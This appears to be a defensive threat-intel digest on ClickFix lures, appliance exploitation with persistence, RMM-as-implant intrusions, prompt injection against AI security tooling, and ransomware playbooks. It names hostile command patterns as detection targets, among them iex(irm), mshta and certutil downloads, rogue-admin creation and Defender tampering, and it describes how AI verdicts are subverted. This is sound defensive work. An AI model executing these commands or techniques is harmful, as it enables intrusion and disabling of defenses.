Threat Intel Digest
June 13–July 10, 2026

ClickFix has quietly become the phishing of 2026: a technique-level primitive that every tier of adversary now reuses because it defeats content inspection by outsourcing execution to the victim. Additional campaigns this period used it to drop SmartRAT against Brazilian bank customers, ResiLoader/StealC/Remus behind fake Google and Cloudflare pages (90 IOCs), and AppleScript-led intrusions on macOS attributed to DPRK. The defensive center of gravity must shift accordingly: user education that no legitimate site asks you to open PowerShell or the Run dialog, plus high-fidelity behavioral detections for clipboard-to-shell execution — iex(irm ...), mshta fetching remote .hta, and certutil -urlcache downloads spawned in the seconds after browser activity. Domains and IPs here are disposable; the execution pattern is the durable indicator.

The volume and pre-auth nature of this exploitation wave means an exposed, unpatched appliance is now the fastest path to full compromise — and the fix is not just patching, it's post-patch hunting. Every one of these cases layered a persistence mechanism on top of the initial exploit: a JSP webshell on Windchill, a rogue admin after CitrixBleed 2, shadow state files on Cisco SD-WAN Manager, an XMRig miner and cron job after Langflow. Prioritize patching by exposure and exploit status (the CVEs above are all confirmed in-the-wild), reduce attack surface by removing management interfaces from the public internet, and after remediating any exposed device, actively hunt for the implant the exploit may have already delivered rather than assuming the update evicted it.

The move to RMM-as-implant is a direct response to improved EDR: a signed, business-legitimate remote-access tool is far harder to justify blocking than a novel binary. The countermeasure is policy, not signatures. Maintain an explicit allowlist of the RMM products your organization actually uses, and alert on the presence or installation of any other — ManageEngine/MeshAgent/NinjaOne/Atera/PDQ/SuperOps/Remote Utilities — with especially high priority when the agent is installed by wscript, cscript, mshta, or msiexec pulling from a remote URL, or when the delivery vector is a messaging app or a "fiscal document" lure. This single control would have caught a large fraction of the intrusions in this digest.

Taken together, these cases mark the point where AI systems became a named part of the attack surface — both a channel to abuse and a control to subvert. Add the malvertising campaign that laundered ClickFix lures through claude.ai/share links (Section 01) and SCMBANKER's "AI-assisted" fraud toolkit, and the pattern is unmistakable. The defensive implications are concrete: (1) never let an AI verdict be the sole gate on a sample, a PR, or a dependency — keep deterministic controls (hashing, sandboxing, human review) authoritative; (2) treat model output on attacker-controlled input as untrusted and sanitize/segment it; and (3) bring AI-assistant config files (.claude/, .cursor/, .gemini/) under the same change-control and monitoring as CI workflows. Prompt injection is no longer a chatbot curiosity — it is being used operationally to defeat security automation.

This crop of ransomware confirms two durable realities: initial access is overwhelmingly through exposed VPN/RDP/RMM, and defense impairment now precedes encryption in nearly every case. DragonForce (via CitrixBleed 2), Sinobi (SonicWall), Prinz Eugen (RDP/RMM), and The Gentlemen (BYOVD) all reached for the same pre-encryption playbook: create a rogue admin, disable or exclude the EDR, then move laterally. That gives defenders a consistent detection window. Enforce phishing-resistant MFA on every remote-access path; alert with high priority on the net user /add → net localgroup administrators /add sequence, on Set-MpPreference/sc config tampering, and on vulnerable-driver loads; and, because data-theft-only extortion (Kairos, Insomnia) bypasses backups, invest equally in egress monitoring and data minimization.

Across four weeks and 83 reports, the message is that adversaries have industrialized their reliance on trust — trust in the user (ClickFix), in signed software (RMM), in the package registry (supply chain), and now in AI verdicts (prompt injection). Almost none of the top intrusions this period required a novel exploit against a hardened target; they required an unpatched edge, a plausible lure, or a legitimate tool bent to a malicious purpose. The controls that map to this reality are behavioral and policy-based: detect clipboard-to-shell execution, allowlist RMM, patch and then hunt exposed appliances, keep deterministic gates ahead of AI triage, and enforce phishing-resistant MFA everywhere. The indicators in these reports are worth ingesting, but the durable defense is in the patterns.